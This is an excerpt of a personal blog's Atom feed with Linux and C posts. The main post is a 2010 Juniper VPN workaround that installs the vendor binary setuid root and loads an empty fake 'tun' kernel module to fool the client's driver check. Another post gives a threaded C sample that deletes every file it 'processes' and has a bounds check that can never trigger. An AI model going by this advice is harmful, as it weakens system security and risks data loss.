href='http://pthreads.blogspot.com/2011/08/gcc-452-warning-initialized-field.html' title='GCC 4.5.2 warning: initialized field overwritten'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5522100736901250696</id><published>2010-11-17T03:22:00.005+05:30</published><updated>2011-08-23T14:10:57.028+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='juniper'/><category scheme='http://www.blogger.com/atom/ns#' term='vpn'/><title type='text'>Connecting to Juniper VPN from Linux</title><content type='html'>Steps for connecting to VPN from our Linux Desktop (Tested on 32 bit, yet to test on 64 bit).&lt;br /&gt;&lt;br /&gt;The host checker application will load some Java browser components and will download some scripts, along with a couple of ELF binaries to ~/.juniper_networks/. We must have Java and Java plugin for firefox to work.&lt;br /&gt;&lt;br /&gt;1. Make sure you have sun-java-jdk installed along with the browser plugin (not openjdk, which will provide you the IceTea plugin) for the above browser component to work (bad that its not working with openjdk). You can check your distribution repository for sun-java-jdk or you can download the Linux binary from Sun Java website.&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;Ubuntu: "sudo aptitude install sun-java6-plugin sun-java6-jdk sun-java6-jre"&lt;br /&gt;&lt;/pre&gt;2. Open firefox (no matter what, the host checker doesn't work on chrome) and check in about:plugins that you have the java plugin enabled.&lt;br /&gt;&lt;br /&gt;3. Verify the plugin actually works at: http://www.java.com/en/download/installed.jsp&lt;br /&gt;&lt;br /&gt;4. Open https://your-official-url&lt;br /&gt;&lt;br /&gt;5. A page ask for permission to download and execute the host checker software (tncc.jar). Choose Yes/Always.&lt;br /&gt;&lt;br /&gt;6. It would then redirect us to the login screen where we get authenticated and enter into the system.&lt;br /&gt;&lt;br /&gt;7. So far, if you have run the browser on a normal user mode, then "Java Secure Application Manager" will not work any further. You will have to invoke the browser from superuser(root) privilege for this to work with VPN. If not the Java plugin won't have the privilege to assign us a tunnel IP address. Everytime you connect to the VPN, you have to run the browser in superuser privilege, which is NOT A SECURE practise. I can't think of any other dumbest thing other than to run a browser in superuser mode.&lt;br /&gt;&lt;br /&gt;8. Click on Network Connect::Start. It will open a xterm for us to enter the root password for the 'installation'. Enter the password. It will do the installation. We are good to go now. If you are not on Ubuntu, skip to step 15.&lt;br /&gt;&lt;br /&gt;9. If you are on Ubuntu(like me), as you might know, root account is disabled. So the above installation would fail. There won't be any error message as you would expected, but its quite obvious. It will redirect you back to your homepage.&lt;br /&gt;&lt;br /&gt;Time to do some basics.&lt;br /&gt;10. Click on Network Connect::Start. The same authentication window again. Just don't do anything. Let the xterm be as it is.&lt;br /&gt;&lt;br /&gt;11. Open a terminal and cd ~/.juniper_networks/tmp/&lt;br /&gt;&lt;br /&gt;12. You will see the following files:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;00:50:28 ~/.juniper_networks/tmp$ ll&lt;br /&gt;total 2864&lt;br /&gt;drwxr-xr-x 2 arun arun    4096 2010-11-17 00:47 META-INF&lt;br /&gt;-rw-r--r-- 1 arun arun    1829 2010-11-17 00:47 xlaunchNC.sh&lt;br /&gt;-rw-r--r-- 1 arun arun      16 2010-11-17 00:47 version.txt&lt;br /&gt;-rw-r--r-- 1 arun arun 1175432 2010-11-17 00:47 ncsvc&lt;br /&gt;-rw-r--r-- 1 arun arun   79292 2010-11-17 00:47 ncdiag&lt;br /&gt;-rw-r--r-- 1 arun arun     721 2010-11-17 00:47 installNC.sh&lt;br /&gt;-rw-r--r-- 1 arun arun 1603632 2010-11-17 00:47 libncui.so&lt;br /&gt;-rw-r--r-- 1 arun arun   46207 2010-11-17 00:47 NC.jar&lt;br /&gt;-rw-r--r-- 1 arun arun     770 2010-11-17 00:47 getx509certificate.sh&lt;br /&gt;00:50:28 ~/.juniper_networks/tmp$&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;13. Try to explore the installNC.sh (as the name implies it is the installation script for the network_connect application). It tries to install a ELF binary ncsvc in network_connect directory and since the root account is not available, it keeps failing. So why give it hard time? You can do:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;sudo install -m 6711 -o root ncsvc ../ncsvc&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Also copy the version.txt to ../ (If not the installation script will call the xterm for every run and fail. But we will still be able to connect to VPN). Remember that we are allowing the "Network connect" to fail and then make it work from behind.&lt;br /&gt;&lt;br /&gt;14. Job done. Now just kill the xterm invoked by the browser.&lt;br /&gt;&lt;br /&gt;15. It would popup saying that the modprobe of Tun driver has failed. Juniper guys are not aware that the tunneling module has now been inbuilt into the kernel and their installation script does a modprobe for tun driver. This error message will continue to appear everytime we start network connect.&lt;br /&gt;&lt;br /&gt;16. Again, a simple way to fix this is to (this applies to all Linux distros):&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;sudo chown root:root installNC.sh xlaunchNC.sh.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;But we will face timeout issues, since the application has an event loop that will kill the session, cus the tun module initialization had failed.&lt;br /&gt;&lt;br /&gt;To work around this, I had built a dummy kernel module and named it tun and installed it in kernel. When the network-connect starts next time, it won't fail looking for tun driver, rather load my dummy module and notify its event loop that he is running perfect ;).&lt;br /&gt;&lt;br /&gt;17. Once everything is done, it will open a small java application (the event loop I was referring to) that will assign us an IP address and show the number of bytes sent and received. This shouldn't have worked if tun driver is not in the kernel. Poor Juniper guys! We are buying their product and not for free!&lt;br /&gt;&lt;br /&gt;We are all set and good to go. We had to do all these tricks only cus, on Ubuntu we won't have a root account. Those who work on Debian/Gentoo/Fedora, we can run firefox once in superuser mode to avoid all these workarounds, and do:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;tar cfj juniper.tar.bz2 /root/.juniper_networks&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Extract the above archive in our home directory and change the permissions accordingly. Don't modify the permissions of ncscv alone!!  If you know to use cp -prd, then its an alternative for tar cfj. I must mention that you will still have to do steps starting from step 15 (building a dummy module) to avoid timeout issues.&lt;br /&gt;&lt;br /&gt;The final working structure of ~/.juniper_networks/ will be as follows:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;02:39:07 ~/.juniper_networks$ ls -lR&lt;br /&gt;.:&lt;br /&gt;total 1432&lt;br /&gt;-rw-r--r-- 1 arun arun    1277 2010-11-17 02:02 dsHCLauncher_linux1.log&lt;br /&gt;-rw-r--r-- 1 arun arun 1253983 2010-08-03 11:33 ncLinuxApp.jar&lt;br /&gt;drwxr-xr-x 2 arun arun    4096 2010-11-17 02:02 network_connect&lt;br /&gt;drwxr-xr-x 2 arun arun    4096 2010-11-17 02:09 tmp&lt;br /&gt;-rw-r--r-- 1 arun arun  191973 2010-08-03 11:57 tncc.jar&lt;br /&gt;-rw-r--r-- 1 arun arun      15 2010-11-17 00:10 whitelist.txt&lt;br /&gt;&lt;br /&gt;./network_connect:&lt;br /&gt;total 2860&lt;br /&gt;-rw-r--r-- 1 arun arun     150 2010-11-17 02:02 installnc.log&lt;br /&gt;-rwxr--r-- 1 arun arun     721 2010-11-17 01:35 installNC.sh&lt;br /&gt;-rw-r--r-- 1 arun arun 1603632 2010-11-17 02:02 libncui.so&lt;br /&gt;-rw-r--r-- 1 arun arun       0 2010-11-17 01:35 missing.info&lt;br /&gt;-rwxr--r-- 1 arun arun   79292 2010-11-17 02:02 ncdiag&lt;br /&gt;-rw-r--r-- 1 arun arun   46207 2010-11-17 02:02 NC.jar&lt;br /&gt;-rws--s--x 1 root root 1175432 2010-11-17 01:05 ncsvc&lt;br /&gt;-rw-r--r-- 1 root root       0 2010-11-17 01:07 ncsvc.log&lt;br /&gt;-rw-r--r-- 1 arun arun       0 2010-11-17 00:12 ncui.log&lt;br /&gt;-rw-r--r-- 1 arun arun      16 2010-11-17 01:36 version.txt&lt;br /&gt;-rwxr--r-- 1 arun arun    1831 2010-11-17 01:59 xlaunchNC.sh&lt;br /&gt;&lt;br /&gt;./tmp:&lt;br /&gt;total 0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Final notes:&lt;br /&gt;&lt;br /&gt;I've not tried Java Secure Application Manager" and I'm not sure what it is used for.&lt;br /&gt;I am happy with ssh and that's the power of Linux.&lt;br /&gt;&lt;br /&gt;Code for dummy tun module:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;#include &lt;linux/module.h&gt;&lt;br /&gt;#include &lt;linux/kernel.h&gt;&lt;br /&gt;int init_module(void)&lt;br /&gt;{&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void cleanup_module(void)&lt;br /&gt;{&lt;br /&gt;   return;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Makefile for the same:&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;obj-m += tun.o&lt;br /&gt;all:&lt;br /&gt; make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules&lt;br /&gt;clean:&lt;br /&gt; make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To install the module into the kernel:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;#include &lt;linux/module.h&gt;&lt;br /&gt;sudo install tun.ko /lib/modules/`uname -r`/kernel/net/tun.ko&lt;br /&gt;sudo depmod -a&lt;br /&gt;sudo modprobe tun&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5522100736901250696?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5522100736901250696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5522100736901250696&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5522100736901250696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5522100736901250696'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2010/11/connecting-to-juniper-vpn-from-linux.html' title='Connecting to Juniper VPN from Linux'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-1148221783899895135</id><published>2010-04-02T12:01:00.005+05:30</published><updated>2010-04-29T16:40:28.576+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Threads'/><title type='text'>Multithreaded application to process files in a directory</title><content type='html'>We may encounter scenarios when we need to do a defined set of operation on all the files in a directory. This very simple program is a typical example of how the problem can be approached with a mutex and a shared resource, by constantly creating new threads for new files instead of waiting for all the worker threads to complete.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;#include &lt;errno.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;dirent.h&gt;&lt;br /&gt;#include &lt;pthread.h&gt;&lt;br /&gt;&lt;br /&gt;#define NAME_MAX                (256)&lt;br /&gt;/* #define MAX_THREADS          (99) */&lt;br /&gt;#define SLEEP_DUR               (1)&lt;br /&gt;&lt;br /&gt;struct thread_data {&lt;br /&gt;    char file_name[NAME_MAX+1];&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static int num_threads;&lt;br /&gt;&lt;br /&gt;static pthread_cond_t cond;&lt;br /&gt;static pthread_mutex_t count_mutex;&lt;br /&gt;&lt;br /&gt;int select_filter( struct dirent *entry )&lt;br /&gt;{&lt;br /&gt;    /* Filesystem differences with EXT4 and JFS2 - Unable to use d_type member&lt;br /&gt;     * to compare DT_REG to check for the filetype */&lt;br /&gt;    if (!strcmp(entry-&gt;d_name, ".") || !strcmp(entry-&gt;d_name, ".."))&lt;br /&gt;        return 0;&lt;br /&gt;    else&lt;br /&gt;        return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void *process_file( void *arg )&lt;br /&gt;{&lt;br /&gt;    struct thread_data *data_t = (struct thread_data *)arg;&lt;br /&gt;    unsigned int i, j;&lt;br /&gt;    pthread_t p = pthread_self();&lt;br /&gt;    /* Do some processing with data_t */&lt;br /&gt;    fprintf( stdout, "%ld: Processing file %s\n", (unsigned long int)p, data_t-&gt;file_name );&lt;br /&gt;    unlink( data_t-&gt;file_name );&lt;br /&gt;    /* When done processing, free the resources */&lt;br /&gt;    free( data_t );&lt;br /&gt;&lt;br /&gt;    for (i=0; i&lt; 9999; i++)&lt;br /&gt;        for (j=0; j&lt; 9999; j++);&lt;br /&gt;&lt;br /&gt;    /* fprintf( stdout, "%p: Locking Mutex\n", (void *)p); */&lt;br /&gt;    pthread_mutex_lock( &amp;count_mutex );&lt;br /&gt;    /* Critical section */&lt;br /&gt;    num_threads --;&lt;br /&gt;    /* fprintf( stdout, "%p: Signaling\n", (void *)p); */&lt;br /&gt;    pthread_cond_signal( &amp;cond );&lt;br /&gt;    /* fprintf( stdout, "%p: Unlocking Mutex\n", (void *)p); */&lt;br /&gt;    fprintf( stdout, "%d: Exiting. num_threads: %d\n", p, num_threads);&lt;br /&gt;    pthread_mutex_unlock( &amp;count_mutex );&lt;br /&gt;    pthread_exit( NULL );&lt;br /&gt;    return NULL;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, const char *argv[])&lt;br /&gt;{&lt;br /&gt;    struct dirent **file_list = NULL;&lt;br /&gt;    short int no_of_files = 0;&lt;br /&gt;    char *dir_name = "/u/home/raddanki/Arun/Threads/data";&lt;br /&gt;    short int idx = 0;&lt;br /&gt;    struct thread_data *data_t = NULL;&lt;br /&gt;    int MAX_THREADS = 0;&lt;br /&gt;&lt;br /&gt;    pthread_t tid = -1;&lt;br /&gt;    pthread_attr_t attr;&lt;br /&gt;&lt;br /&gt;    /* Get the arguments */&lt;br /&gt;    if (argc &lt; 2) {&lt;br /&gt;        printf( "Usage: %s &lt;no-of-threads&gt;\n", argv[0] );&lt;br /&gt;        exit(0);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    MAX_THREADS = atoi( argv[1] );&lt;br /&gt;    if (MAX_THREADS &lt; 1 &amp;&amp; MAX_THREADS &gt; 99) {&lt;br /&gt;        printf( "Max threads should be between 1 and 99. Provided: %d\n", MAX_THREADS );&lt;br /&gt;        exit(0);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /* Initialize thread attributes */&lt;br /&gt;    pthread_cond_init( &amp;cond, NULL );&lt;br /&gt;    pthread_mutex_init( &amp;count_mutex, NULL );&lt;br /&gt;    pthread_attr_init( &amp;attr );&lt;br /&gt;    pthread_attr_setdetachstate( &amp;attr, PTHREAD_CREATE_DETACHED );&lt;br /&gt;&lt;br /&gt;    while (1) {&lt;br /&gt;&lt;br /&gt;        while (no_of_files == 0) {&lt;br /&gt;            /* Open the dir for reading */&lt;br /&gt;            pthread_mutex_lock( &amp;count_mutex );&lt;br /&gt;            if (num_threads == 0) {&lt;br /&gt;                if (file_list)&lt;br /&gt;                    free( file_list );&lt;br /&gt;                if ((no_of_files = scandir( dir_name, &amp;file_list, select_filter, alphasort )) == -1) {&lt;br /&gt;                    fprintf( stdout, "Failed to open dir: %s\n", dir_name );&lt;br /&gt;                    /* need to wait for threads to complete and then exit */&lt;br /&gt;                    exit (1);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            pthread_mutex_unlock( &amp;count_mutex );&lt;br /&gt;            idx = no_of_files - 1;&lt;br /&gt;            if (!no_of_files) {&lt;br /&gt;#ifdef DEBUG&lt;br /&gt;                if (num_threads == 0) {&lt;br /&gt;                    free( file_list );&lt;br /&gt;                    pthread_attr_destroy( &amp;attr );&lt;br /&gt;                    pthread_mutex_destroy( &amp;count_mutex );&lt;br /&gt;                    pthread_cond_destroy( &amp;cond );&lt;br /&gt;                    pthread_exit(0);&lt;br /&gt;                }&lt;br /&gt;#endif&lt;br /&gt;                fprintf( stdout, "Going to sleep now\n" );&lt;br /&gt;                sleep(SLEEP_DUR);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        /* fprintf( stdout, "MAIN: Locking Mutex\n" ); */&lt;br /&gt;        /* while (1) { */&lt;br /&gt;        pthread_mutex_lock( &amp;count_mutex );&lt;br /&gt;        if (num_threads == MAX_THREADS) {&lt;br /&gt;            /* Let the threads finish */&lt;br /&gt;            /* fprintf( stdout, "MAIN: Waiting on condition\n" ); */&lt;br /&gt;            pthread_cond_wait( &amp;cond, &amp;count_mutex );&lt;br /&gt;            fprintf( stdout, "MAIN: Waking up from condition\n" );&lt;br /&gt;            /* fprintf( stdout, "MAIN: Unlocking Mutex\n" ); */&lt;br /&gt;        }&lt;br /&gt;        pthread_mutex_unlock( &amp;count_mutex );&lt;br /&gt;        /* else */&lt;br /&gt;        /* break; */&lt;br /&gt;        /* } */&lt;br /&gt;&lt;br /&gt;        /* Be sure about the boundaries in File[] */&lt;br /&gt;        if (num_threads &gt; MAX_THREADS) {&lt;br /&gt;            fprintf( stdout, "Prevented severe memory error %d\n", num_threads );&lt;br /&gt;            exit(2);&lt;br /&gt;        }&lt;br /&gt;        if (((data_t = calloc( 1, sizeof(struct thread_data) )) == NULL)) {&lt;br /&gt;            fprintf( stdout, "Failed to allocate memory\n" );&lt;br /&gt;            exit(1);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        snprintf( data_t-&gt;file_name, sizeof(data_t-&gt;file_name), "%s/%s", dir_name, file_list[idx]-&gt;d_name );&lt;br /&gt;        free(file_list[idx--]);&lt;br /&gt;        no_of_files--;&lt;br /&gt;        fprintf( stdout, "MAIN: No of files: %d\n", no_of_files );&lt;br /&gt;&lt;br /&gt;        /* Manage the thread stuff */&lt;br /&gt;        if (pthread_create( &amp;tid, &amp;attr, process_file, (void *)data_t ) != 0) {&lt;br /&gt;            fprintf( stdout, "Failed to allocate memory for thread\n" );&lt;br /&gt;            exit(1);&lt;br /&gt;        }&lt;br /&gt;        fprintf( stdout, "Created thread: %d\nMAIN: Locking Mutex: %d\n", tid, num_threads );&lt;br /&gt;        pthread_mutex_lock( &amp;count_mutex );&lt;br /&gt;        num_threads++;&lt;br /&gt;&lt;br /&gt;        /* fprintf( stdout, "MAIN: Unlocking Mutex 2 - %d\n", num_threads ); */&lt;br /&gt;        pthread_mutex_unlock( &amp;count_mutex );&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-1148221783899895135?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/1148221783899895135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=1148221783899895135&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/1148221783899895135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/1148221783899895135'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2010/04/multithreaded-application-to-process.html' title='Multithreaded application to process files in a directory'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-8802504236428291522</id><published>2009-11-17T21:26:00.013+05:30</published><updated>2010-03-27T13:39:14.835+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Install Google GO</title><content type='html'>To install the Google's GO on Ubuntu Karmic&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;vim ~/.bashrc &amp;&amp; exit (or open a new terminal or . ~/.bashrc)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Add these lines into it:&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;export GOROOT=$HOME/go&lt;br /&gt;export GOARCH=386&lt;br /&gt;export GOOS=linux&lt;br /&gt;export GOBIN=$HOME/bin&lt;br /&gt;export PATH=$GOBIN:$PATH&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The last two are not listed on the GO site, but I needed them to compile.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;mkdir ~/bin &amp;&amp; chmod 755 ~/bin &amp;&amp; . ~/.bashrc&lt;br /&gt;sudo apt-get install python-setuptools python-dev&lt;br /&gt;sudo apt-get install mercurial&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To pull the Go source&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;hg -v clone -r release https://go.googlecode.com/hg/ $GOROOT&lt;br /&gt;sudo apt-get install bison gcc libc6-dev ed make&lt;br /&gt;cd $GOROOT/src &amp;&amp; ./all.bash&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-8802504236428291522?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/8802504236428291522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=8802504236428291522&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/8802504236428291522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/8802504236428291522'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2009/11/install-google-go.html' title='Install Google GO'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2499673561528027081</id><published>2008-12-09T23:58:00.002+05:30</published><updated>2010-03-27T13:41:38.917+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='BIOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>GRUB Error 17 !!</title><content type='html'>Today I was shocked to see this horror on my laptop (Dell XPS M1330) when i returned from office. I had friends visiting my home over the this week. So I guess someone tried using it and pressed the Dell MediaDirect button by accident. This is not the first time it is happening. Back in 2007, one of my friend had pressed that torture button. By then I din't know what to do. So i just reinstalled the OS.&lt;br /&gt;&lt;br /&gt;The actual solution to this problem is to press the MediaDirect button again. That will make a clean startup.&lt;br /&gt;&lt;br /&gt;But in case you have forgotten it like me and pressed the Dell recovery [Enter=Continue] by mistake, then follow the steps below.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;Boot from a live CD&lt;br /&gt;sudo apt-get install testdisk&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;For this to install through the apt-get, you will have to enable the universe repository. If you are not sure about doing all these, safely download the .deb files from the net. Google for "testdisk ubuntu" and download the .deb file. Also download libntfs8.deb file, which is the shared library that the testdisk has a runtime dependency on. I am sure you will get both in the Ubuntu package repositories. Then do the following:&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;Copy both the .deb files into a USB and connect the USB to your lappy running the LiveCD&lt;br /&gt;cd /media/Your_USB_drive/&lt;br /&gt;sudo dpkg -i testdisk.deb libntfs8.deb&lt;br /&gt;cd ~&lt;br /&gt;unmount /media/Your_USB_drive/&lt;br /&gt;testdisk&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;testdisk is a great utility. It will restore the partition that was corrupted by the Dell MediaDirect. Just give Proceed and after it completes restoring (I am sure it will!!) the partitions, give "Save" and reboot your PC. It shoudl load perfect!!&lt;br /&gt;&lt;br /&gt;If you still face problem, then don't give up. You have crossed 90% of the hurdle. You just need to reinstall your GRUB. As usual boot into LiveCD and enter &lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;$ grub&lt;br /&gt;&gt; find /boot/grub/menu.lst&lt;br /&gt;hd0,2&lt;br /&gt;&gt; root (hd0,2)&lt;br /&gt;&gt; setup (hd0)&lt;br /&gt;&gt; quit&lt;br /&gt;$ reboot&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That is it my friend. You should not have any further problem with GRUB.&lt;br /&gt;The best way to prevent this from occurring is to use gparted and remove the MediaDirect partition altogether. Again boot from the liveCD to run gparted. ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2499673561528027081?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2499673561528027081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2499673561528027081&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2499673561528027081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2499673561528027081'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/12/grub-error-17.html' title='GRUB Error 17 !!'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5668003802297747710</id><published>2008-12-05T19:29:00.002+05:30</published><updated>2010-03-27T13:42:30.920+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Skype on Ubuntu 8.10 Intrepid Ibex</title><content type='html'>I messed up with my previous version of Ubuntu Hardy Heron when I upgraded the kernel. The kernel upgrade had a bug, which did not upgrade the udev. So I was not able to boot on to the linux partition at all.&lt;br /&gt;&lt;br /&gt;After this, I was stuck up with Vista for a little too long, to run MATLAB and other windows related stuffs. Now I am back on Ubuntu Intrepid Ibex. Its installation has been a breeze and I must admit that it is the more user friendly version of Linux that I have used so far.&lt;br /&gt;&lt;br /&gt;Compiz effects are enabled by default. So if you have the right hardware to support the acceleration, you will enjoy the luxury even during the first boot. Although the compiz effects are enabled, I was not able to see the compiz manager. The X froze when i tried invoking compiz-manager from a terminal. So I did&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;sudo apt-get install simple-ccsm&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now I was able to see the compiz manager in System-&gt;Preferences-&gt;Compizconfig settings manager.&lt;br /&gt;&lt;br /&gt;Configuring skype had few problems with the audio recording. The test call dropped saying "Problem with the audio capture". So I did the following and rebooted my system to have a clean conference call on Skype. Really, FREE as in Freedom. Love Linux!! :-)&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java"&gt;killall pulseaudio&lt;br /&gt;sudo apt-get remove pulseaudio&lt;br /&gt;sudo apt-get install esound&lt;br /&gt;sudo rm /etc/X11/Xsession.d/70pulseaudio&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5668003802297747710?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5668003802297747710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5668003802297747710&amp;isPopup=true' title='0 